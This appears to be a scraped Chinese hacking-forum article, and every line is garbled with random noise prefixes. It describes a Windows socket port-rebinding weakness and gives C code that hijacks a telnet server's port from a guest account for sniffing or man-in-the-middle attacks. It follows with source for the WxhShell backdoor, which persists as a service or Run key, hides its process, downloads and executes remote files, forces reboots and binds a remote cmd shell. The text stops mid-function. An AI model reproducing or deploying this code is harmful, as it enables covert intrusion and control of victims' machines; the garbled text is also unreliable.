在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.RbPO#( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_iu^VK,} `b_n\pf] saddr.sin_family = AF_INET;
_A=i2?g ZtpbKy!\$B saddr.sin_addr.s_addr = htonl(INADDR_ANY);
p<B*)1Tj0 +t(Gt0+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"_\77cqpTh
$;)A:*e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
LXRIo2ynuw 98CS|NEe 这意味着什么?意味着可以进行如下的攻击:
u>V~:q\X i,l$1g-i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
C0&ZQvvy1: Mp@dts/| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_ujhD e`?o`@vO, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|gfG\fL3V gc W' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$8Gj9mw4e' )t$-/8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
H$6;{IUz~ D<T:UJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
sTxbh2 O
2+taB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:79u2wSh ~@"H\):/ #include
}?9 A:& #include
$WsyAUl #include
>ni0:^vp #include
VD+v\X_ DWORD WINAPI ClientThread(LPVOID lpParam);
5#dJga/88 int main()
+rka5ts {
(b7',:_U7 WORD wVersionRequested;
Pt/F$A{Cj DWORD ret;
e8k|%m<Sp WSADATA wsaData;
O*>`md?MH BOOL val;
~b6c:db3 SOCKADDR_IN saddr;
D*g
K, ` SOCKADDR_IN scaddr;
/LLo7" int err;
"XU)(<p SOCKET s;
R3*{"!O SOCKET sc;
!fJy7Y int caddsize;
jT4
m(j HANDLE mt;
9r 5( DWORD tid;
a._>?rVy wVersionRequested = MAKEWORD( 2, 2 );
QvlVjDIy err = WSAStartup( wVersionRequested, &wsaData );
,2mq}u>WU if ( err != 0 ) {
D=M'g}l printf("error!WSAStartup failed!\n");
nHQWO
return -1;
B_"PFWwg }
RAA,%rRhu( saddr.sin_family = AF_INET;
_lfS"ae =0>[-:Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n9V8A[QJ 9T<k|b[6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_TbvQY saddr.sin_port = htons(23);
N,&bBp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!14l[k+\ {
LRSt >;
M printf("error!socket failed!\n");
N({-&A.N return -1;
/{-J_+u*% }
{]O.?Yru? val = TRUE;
pbGv\SF //SO_REUSEADDR选项就是可以实现端口重绑定的
*~d<]U5h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
QiNLE'19^ {
8TYoa:pZ printf("error!setsockopt failed!\n");
w]US-7 return -1;
Q}1qt4xy* }
S~^]ib0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ESuP ZB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^j2z\yo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?8q4texf[
va!fJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
b[MKo7 {
;6`7
\ ret=GetLastError();
z h%b< printf("error!bind failed!\n");
\+<=O` return -1;
R xc }
DK|/|C}6 listen(s,2);
[o.#$( while(1)
x)f<lZ^L&H {
h@Ix9!?+ caddsize = sizeof(scaddr);
+[pJr-k //接受连接请求
<@;bxSUx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hPt=j{aJ%< if(sc!=INVALID_SOCKET)
NFI~vkk'G {
. Fm| $x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
LWV^'B_X- if(mt==NULL)
5Z13s {
B X O, printf("Thread Creat Failed!\n");
UL xgvq break;
LtK,_j }
|2I/r$Q }
~jJe|zg> CloseHandle(mt);
$Y%,?>AL< }
%
xBQX closesocket(s);
DK#Tr: 7 WSACleanup();
vH6.;j'^ return 0;
\$,8aRT>#U }
+<WNAmh
DWORD WINAPI ClientThread(LPVOID lpParam)
kuv+ TN {
IC-W[~ SOCKET ss = (SOCKET)lpParam;
+SkfT4*U SOCKET sc;
YyC$\HH6 unsigned char buf[4096];
K pmq C$ SOCKADDR_IN saddr;
*+ +}ll6 long num;
8>(/:u_x DWORD val;
`bZgw DWORD ret;
P#AS")Sj //如果是隐藏端口应用的话,可以在此处加一些判断
PsN_c[+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
_] us1 saddr.sin_family = AF_INET;
Q=^TKsu saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`=2p6<#z saddr.sin_port = htons(23);
#m3!U(Og` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~FnY'F<35 {
Xkf|^-n printf("error!socket failed!\n");
`|4k>5k return -1;
,jeC7-tX }
^[b DE0 val = 100;
"fu@2y4^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]vH:@%3U {
I\|.WrMNi ret = GetLastError();
)&ucX return -1;
E*QLw*H }
S4
s#EDs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Sea6xGdq {
BxB B]( ret = GetLastError();
d/\ajQ1:: return -1;
0*6Q8`I }
5`q#~fJ2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
A&X
XL~yH {
]aYuBoj printf("error!socket connect failed!\n");
.L.9e#?3 closesocket(sc);
{N@Pk[! closesocket(ss);
5JS*6|IbD{ return -1;
uz;eYD }
kT:?1 w' while(1)
Ka$lNL3<j {
U"a7myB+jX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,?wxW //如果是嗅探内容的话,可以再此处进行内容分析和记录
v(P <_}G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\og2\Oh&gH num = recv(ss,buf,4096,0);
.>Fpk7 if(num>0)
M0%nGpVj> send(sc,buf,num,0);
?h,.1Tb else if(num==0)
C{,Vk/D-0 break;
~iq=J5IN# num = recv(sc,buf,4096,0);
M%7|7V<o)^ if(num>0)
)-25?B send(ss,buf,num,0);
WnA
Y<hZ| else if(num==0)
W?n/>DML break;
Pav }
)#sN#ZR$ closesocket(ss);
@[{5{ y closesocket(sc);
cvYKZB return 0 ;
nD}<zj$D2 }
l)V646-O,~ 18]Q4s8E \p!m/2 ==========================================================
h;~NA}> -jVg{f! 下边附上一个代码,,WXhSHELL
@2TfW]6 B)rBM ==========================================================
i*mI-l y (=0 #include "stdafx.h"
1yTw*vH F qos/pm$&i #include <stdio.h>
j?VHR$ #include <string.h>
!$<Kp6 #include <windows.h>
7mL1$i6= #include <winsock2.h>
u\km_e #include <winsvc.h>
?\zyeWK0L #include <urlmon.h>
?F~0\T,7 -?Cu-' #pragma comment (lib, "Ws2_32.lib")
BL%3[JQ #pragma comment (lib, "urlmon.lib")
"@rHGxK TJuS)AZ
C #define MAX_USER 100 // 最大客户端连接数
v+CW([zAx# #define BUF_SOCK 200 // sock buffer
GqgJ ]m #define KEY_BUFF 255 // 输入 buffer
pE$*[IvQ' (A-Uo
#define REBOOT 0 // 重启
5'_:>0} #define SHUTDOWN 1 // 关机
2L=(-CH9] |V^f}5gd #define DEF_PORT 5000 // 监听端口
>"Zn#
FY jEK{47i v #define REG_LEN 16 // 注册表键长度
Z1wfy\9c8 #define SVC_LEN 80 // NT服务名长度
<f0yh"?6VH WL3J>S_ // 从dll定义API
m*v@L4t(1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!RN9wXS7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
TBgiA}|\D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
mOFp!( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
~L.5;8a3Pe $=Tq<W*c // wxhshell配置信息
<g, 21(bc struct WSCFG {
d!"gb,ec int ws_port; // 监听端口
oOGFg3X char ws_passstr[REG_LEN]; // 口令
!0cb f&^: int ws_autoins; // 安装标记, 1=yes 0=no
ryTtGx%a char ws_regname[REG_LEN]; // 注册表键名
w# ;t$qz} char ws_svcname[REG_LEN]; // 服务名
Vb?_RE_H char ws_svcdisp[SVC_LEN]; // 服务显示名
#*G}v%Ow/u char ws_svcdesc[SVC_LEN]; // 服务描述信息
>,f5 5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
A \Z _br int ws_downexe; // 下载执行标记, 1=yes 0=no
)7WLbj!M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q4Y'yp`?K; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r1sA^2g. I!.-}]k };
y <P1VES pH0MVu(W // default Wxhshell configuration
MED_#OS struct WSCFG wscfg={DEF_PORT,
&p=(0$0&- "xuhuanlingzhe",
Vtk}>I@% 1,
]jV1/vJ-! "Wxhshell",
Hlj3z3 "Wxhshell",
qtp-w\#S$ "WxhShell Service",
Qe=eer~jI "Wrsky Windows CmdShell Service",
Ky{C;7X "Please Input Your Password: ",
U"K%ip:Wd 1,
C3; d.KlV "
http://www.wrsky.com/wxhshell.exe",
EHt(!;?q "Wxhshell.exe"
"mcuF]7F };
P2 +^7x? I5g!c|#y
// 消息定义模块
#}8gHI-9% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
NaeG)u#+ char *msg_ws_prompt="\n\r? for help\n\r#>";
5ma~Pjt8} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#F+b^WTR char *msg_ws_ext="\n\rExit.";
OPDRV\ char *msg_ws_end="\n\rQuit.";
wodff_l char *msg_ws_boot="\n\rReboot...";
EyV6uk~ char *msg_ws_poff="\n\rShutdown...";
xGX U7w:X char *msg_ws_down="\n\rSave to ";
\ X;)Kt" wQX%*GbL2 char *msg_ws_err="\n\rErr!";
5R O_)G< char *msg_ws_ok="\n\rOK!";
d'p@[1/ |exjrsmM* char ExeFile[MAX_PATH];
E\~!E20^ int nUser = 0;
2}.EFQp+ HANDLE handles[MAX_USER];
It8@Cp.dU int OsIsNt;
M\=/i\- +Z/aG k; SERVICE_STATUS serviceStatus;
yzz(<s:o/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
)7iYx {n A<cnIUW // 函数声明
;5=5HYx% int Install(void);
T28Q(\C:} int Uninstall(void);
Fx@@.O6 int DownloadFile(char *sURL, SOCKET wsh);
$-_@MT~ int Boot(int flag);
S{)'1J_0 void HideProc(void);
v ce1'aW int GetOsVer(void);
9X87" int Wxhshell(SOCKET wsl);
QCvst* void TalkWithClient(void *cs);
c +]5[6 int CmdShell(SOCKET sock);
)cxML<j'
int StartFromService(void);
2(NN QU@Uz int StartWxhshell(LPSTR lpCmdLine);
[214b= YN5p@b=FX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<@H=XEn VOID WINAPI NTServiceHandler( DWORD fdwControl );
O:te;lQK _iW-i // 数据结构和表定义
9rQw~B<S SERVICE_TABLE_ENTRY DispatchTable[] =
(khMjFOg {
0D_{LBO6LU {wscfg.ws_svcname, NTServiceMain},
1$rrfg {NULL, NULL}
(Qz|
N };
o`ijdg!5qG ewzZb*\ // 自我安装
J l9w/T int Install(void)
)x&OdFX {
xouy|Nn' char svExeFile[MAX_PATH];
&io*pmUm6 HKEY key;
\J3n[6; strcpy(svExeFile,ExeFile);
YNWAef4 BJ7m3[lz // 如果是win9x系统,修改注册表设为自启动
D}:M0EBS if(!OsIsNt) {
}e0)=*;l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"ku ?A ^f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rD SUhO{V RegCloseKey(key);
<ooRpn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Fwv(J_'q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<MoKTP-< RegCloseKey(key);
z9[BQ(9t return 0;
\Dn
an5H/ }
@+
U++ }
]R s }
^J$?[@qD else {
\3v}:E+3 # ~T
KC|G // 如果是NT以上系统,安装为系统服务
ti^msC8e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}X[wWH if (schSCManager!=0)
#-Nc1+gu {
$+.!(Js"K SC_HANDLE schService = CreateService
Ik74%x7G` (
jFMf=u&U schSCManager,
a)GT\1q wscfg.ws_svcname,
iH""dtO wscfg.ws_svcdisp,
ykbTWp$Y4Z SERVICE_ALL_ACCESS,
&lYe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^%r>f@h!L SERVICE_AUTO_START,
>X!A/;$ SERVICE_ERROR_NORMAL,
v&i,}p^M5 svExeFile,
8o4?mhqV NULL,
;+h-o NULL,
O'}
%Bjl NULL,
)dgooq NULL,
j?
P=}_Ru NULL
YjM_8@< );
gr
y]!4Hy if (schService!=0)
#+,O {
IJt8*
cw CloseServiceHandle(schService);
Ei[>%Ah CloseServiceHandle(schSCManager);
4q7hL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D-IXO@x strcat(svExeFile,wscfg.ws_svcname);
QirS=H+~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B Ctm05 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@s2<y@ RegCloseKey(key);
AT%@T| return 0;
S=bdue }
Htu}M8/4 }
~HH6=qjU) CloseServiceHandle(schSCManager);
)D1=jD( }
K^'NG! }
5,<:|/r 0=^A{V!m return 1;
_(Qec?[^Ps }
BCK0fk~ ZdP2}w // 自我卸载
09psqXU@I int Uninstall(void)
LT ZoO9O {
>(aGk{e1 HKEY key;
^Q'^9M2) 6GZzNhz if(!OsIsNt) {
\:/:S"- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L,B#%t RegDeleteValue(key,wscfg.ws_regname);
ZV;lr Vv RegCloseKey(key);
>pV|c\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1|c\^;cTkt RegDeleteValue(key,wscfg.ws_regname);
e(NpX_8 RegCloseKey(key);
PafsO,i- return 0;
-`o22G3w }
Jn>6y:s }
E4nj*Lp~+ }
`f9I#B
else {
x*" 0dYH ,%FBELqOW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)fo9Qwe if (schSCManager!=0)
1~HR;cTv= {
-m.SN>V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
AJ*FQo.U if (schService!=0)
,`3kDqS_4 {
\v'\
Ea~ if(DeleteService(schService)!=0) {
)aOPR|+ CloseServiceHandle(schService);
S]7RGzFe CloseServiceHandle(schSCManager);
Q@in?}; return 0;
JDyP..Dt }
?>_[hZ CloseServiceHandle(schService);
=psX2?%L }
ItZqLUJm CloseServiceHandle(schSCManager);
wi]F\ q"Y^ }
u49v,,WGw }
>^8=_i ! 1?6;Oc^ return 1;
(qDu|S3P }
.."= F0O/SI(cA // 从指定url下载文件
JO4rU-
n int DownloadFile(char *sURL, SOCKET wsh)
?(&)p~o {
}=':)?'-. HRESULT hr;
v>2gx1F"? char seps[]= "/";
R).?lnS char *token;
|z!Y,zaX char *file;
V Q6&7@
c char myURL[MAX_PATH];
H0zKL]D'> char myFILE[MAX_PATH];
ltKUpRE\? Q1fJ`A= strcpy(myURL,sURL);
rKR2v(c token=strtok(myURL,seps);
1N#KVvK while(token!=NULL)
{ XN"L3A {
uY,(3x file=token;
;T Af[[P token=strtok(NULL,seps);
jpl"KN?X }
4,o|6H *(%]|z}]m GetCurrentDirectory(MAX_PATH,myFILE);
U*.Wx0QM strcat(myFILE, "\\");
hJavi>374 strcat(myFILE, file);
<+1d'VQ2 send(wsh,myFILE,strlen(myFILE),0);
JmJ8s hq send(wsh,"...",3,0);
_H:mBk,, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
qRXb9c if(hr==S_OK)
28KS*5S return 0;
`u%`Nj else
:27GqY,3sK return 1;
^f:oKKaAW; 9o|=n'o }
l-Hp^|3Wq 1 m)WM,L // 系统电源模块
~bSPtH
]6d int Boot(int flag)
i1qhe?5 {
>4gGb) HANDLE hToken;
|IbCN TOKEN_PRIVILEGES tkp;
#$&!)13 F;Q8^C0e*c if(OsIsNt) {
D<=:9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q[l!kC+Eh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xFU*,Y tkp.PrivilegeCount = 1;
;naD`([ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{5tb.{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>z'kCv if(flag==REBOOT) {
teO%w9ByY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#HjiE return 0;
4{?Djnh }
n>d@}hyv else {
%F'*0< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F]e] return 0;
D -Goi-4 }
?lg
}
Tw|cg B else {
xE$(I<: if(flag==REBOOT) {
8lAs~c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
['p%$4i$ return 0;
C5Fk>[fS }
%:bTOw[4r else {
B3Id}[V if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Tx)X\&ij& return 0;
A=LyN$% }
yi7m!+D3 }
\`:X37n)0q e;1n!_l\ return 1;
.VFa,&5;3 }
9[<,49 XUf]gQu3= // win9x进程隐藏模块
6\MH2&L< void HideProc(void)
RP}.Ei {
F`W8\u'db ';g]!XsY) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
JI{|8)S if ( hKernel != NULL )
y H\z+A| {
fmuAX w> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;J"b% ~Gn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7_,)"J2^ FreeLibrary(hKernel);
?.&]4z([ }
oLJP@J 9mdp\A return;
_wa1R+`_ }
}O+F#/6 EAVB:gE // 获取操作系统版本
+bi%4DA int GetOsVer(void)
NXQdy g, {
GEr]zMYG[A OSVERSIONINFO winfo;
2yYq/J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
q&.SB` GetVersionEx(&winfo);
*],]E; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zLQplw`# return 1;
M"
|Mte else
?S9!;x< return 0;
gAcXd<a0
}
<"|BuK CO25 // 客户端句柄模块
Rk#@{_ int Wxhshell(SOCKET wsl)
P4vW.|@ {
oM`[&m., SOCKET wsh;
E9=a+l9 struct sockaddr_in client;
-V
Rby DWORD myID;
1:I47/ &5fM8Opkd while(nUser<MAX_USER)
bAIo5lr {
\ "193CW! int nSize=sizeof(client);
$7q'Be@{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T\g%. if(wsh==INVALID_SOCKET) return 1;
mz\d>0F U. @/6cEiC+r\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Og8: if(handles[nUser]==0)
fL[(;KcAa closesocket(wsh);
v#EXlpS else
cnh\K.*}_x nUser++;
gie}k)&M }
D]nVhOg| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(;^VdiJ kFPZ$8e return 0;
~2Jvb[IM }
_1w?nN' cES3<`[K
// 关闭 socket
MH{$"^K void CloseIt(SOCKET wsh)
}a= &o6= {
I~lX53D closesocket(wsh);
<5*cc8 nUser--;
Z{/0P ExitThread(0);
uQ4WM }
IZ /M d@C SdF*"]t // 客户端请求句柄
mgeNH~%m@* void TalkWithClient(void *cs)
p;av63i {
$0rSb0[ "qEHK; SOCKET wsh=(SOCKET)cs;
Q>s> @hw char pwd[SVC_LEN];
uZ mi char cmd[KEY_BUFF];
^7Q}W#jy char chr[1];
Yv!%Is int i,j;
aagN-/mgm Qn>0s while (nUser < MAX_USER) {
B9;dX6c $Oa}U3 if(wscfg.ws_passstr) {
=>". if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eaQ)r?M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+,=DUsI} //ZeroMemory(pwd,KEY_BUFF);
OF^v;4u i=0;
kDuN3 while(i<SVC_LEN) {
3P C'P2 b;#Z/phix // 设置超时
>W[8wR fd_set FdRead;
qYj
EQz struct timeval TimeOut;
=\Td~> FD_ZERO(&FdRead);
`9SRiy FD_SET(wsh,&FdRead);
X
10(oT TimeOut.tv_sec=8;
fw@n[u{~ TimeOut.tv_usec=0;
@K`2y'#b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Ij>IL! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
F8S -H" >x0"gh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'Dyt"wfo pwd
=chr[0]; I,
9!["^|
if(chr[0]==0xd || chr[0]==0xa) { n2\;`9zm
pwd=0; .]`L R@qf
break; 6?nAO
} l@vau pg
i++; U-(2;F)
} ?qwTOi
s-]k 7a2V
// 如果是非法用户,关闭 socket /Y("Q#Ueq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7!Z\B-_,
} n@[&SgZq
%(h-cuhq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y\&GPr
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :X-Z|Pv8
k@nx+fO}P
while(1) { ^Nl)ocHv!
@D_=MtF<
ZeroMemory(cmd,KEY_BUFF); 1SoKnfz{6
\},="
// 自动支持客户端 telnet标准 NQzpgf|h
j=0; jH26-b<
while(j<KEY_BUFF) { sr%tEKba)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =~Oi:+L
cmd[j]=chr[0]; z,/0e@B >
if(chr[0]==0xa || chr[0]==0xd) { ^mr#t #[e
cmd[j]=0; Q7oJ4rIP
break; @cNBY7=
} Oo{+W5[
j++; i1RU5IRy|j
} 2Eg*Yb 1
&>kklP
// 下载文件 kgfOH.P
if(strstr(cmd,"http://")) { UO(B>Abp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v%c r
if(DownloadFile(cmd,wsh)) KfpDPwP@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6kH47Yc?
else u=B_c A}:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '~i;g.n=}-
} z[:UPPbW
else { @@$=MSN
4?YhqJ
switch(cmd[0]) { f&=y\uP]
ldcYw@KQ
// 帮助 `c@KlL*!Q
case '?': { Yjxa=CD
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NQefrof
break; K|$Dnma^n
} \z!*)v/{-
// 安装 l/[0N@r~
case 'i': { o_
if(Install()) :_v/a+\n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M##h<3 I
else ;8m_[gfw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .QX|:]|n
break; hY=#_r8
} V#jFjObTN
// 卸载 ~?&;nTwHe
case 'r': { v{4K$o
if(Uninstall()) "'p;Udt/Qm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :@KU_U)\
else %v=z|d5-3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8XtZF,Du
break; sl^i%xJ|l'
} pUby0)}t
// 显示 wxhshell 所在路径 \IY)2C<e
case 'p': { ^G'8!!ys
char svExeFile[MAX_PATH]; !fF1tW
strcpy(svExeFile,"\n\r"); !J
")TP=
strcat(svExeFile,ExeFile); *IWO ,!
send(wsh,svExeFile,strlen(svExeFile),0); N}x\Ll
break; vtw{
A}
} |GgFdn`>
// 重启 N'_,VB
case 'b': { n1K"VjZk
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /NFv?~</k
if(Boot(REBOOT)) s6SG%Vd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HU]Yv+3
else { tcOgF:
closesocket(wsh); "3CQ0
ExitThread(0); cE[B
(e
} WCxt-+#
break; b['Jr% "O
} B$A`-
// 关机 [*zB
vj}G
case 'd': { ;taTdzR_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vfAR^*7e
if(Boot(SHUTDOWN)) HNN,1MN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nxH=Ut7{
else { =YlsJ={h
closesocket(wsh); $ ;cZq
ExitThread(0); B6&PYMFK?*
} s.z (1MB]
break; IB#L5yN r
} e m`z=JGG
// 获取shell 8Z{&b,Y4L
case 's': { *( ~7H6
CmdShell(wsh); X3zkUMk
closesocket(wsh); -'btKz*9
ExitThread(0); dWV.5cViP
break; j4H]HGHv
} [#$: X+lw
// 退出 *gMo(-tN
case 'x': { Ft)7Wx"
S
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gj{2"tE
CloseIt(wsh); urmx})=
break; 9^ITP!~e*
} SQ7Ws u>T@
// 离开 P)x&9OHV
case 'q': { b
'p0T1K(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); LAqmM3{fA
closesocket(wsh); Htd-E^/
WSACleanup(); !}7FC>Cx
exit(1); tA'O66.
break; iX4?5yz~<
} &u)
R+7bl,
} ';"W 0
} k?-GI[@X
+\~.cP7[
// 提示信息 .OI&Zm-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W@<(WI3
} _7df(+.{<A
} {&Kck>C'
Cx(|ZD^
return; j G8W|\8
} o%dKi]
98 dl -?
// shell模块句柄 n.+%eYM<
int CmdShell(SOCKET sock) /[
_aw&W}Z
{ ;MH((M/AN
STARTUPINFO si; >2Z0XEe
ZeroMemory(&si,sizeof(si)); J^t-p U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >fG=(1"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f;os\8JdM
PROCESS_INFORMATION ProcessInfo; (`C#Tq
char cmdline[]="cmd"; _}8hEv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 45g:q
return 0; byALM
} _:(RkS!x
o<
)"\f/,
// 自身启动模式 @PH`Wn#S
int StartFromService(void) aMaICM
{ KZ8Hp=s
typedef struct 3$<u3Zi6
{ ^y"
#2Ov
DWORD ExitStatus; H&$L1CrdL
DWORD PebBaseAddress; X/< zxM
DWORD AffinityMask; T!![7Rs
DWORD BasePriority; 1Q[I $=-F
ULONG UniqueProcessId; B49:
R>
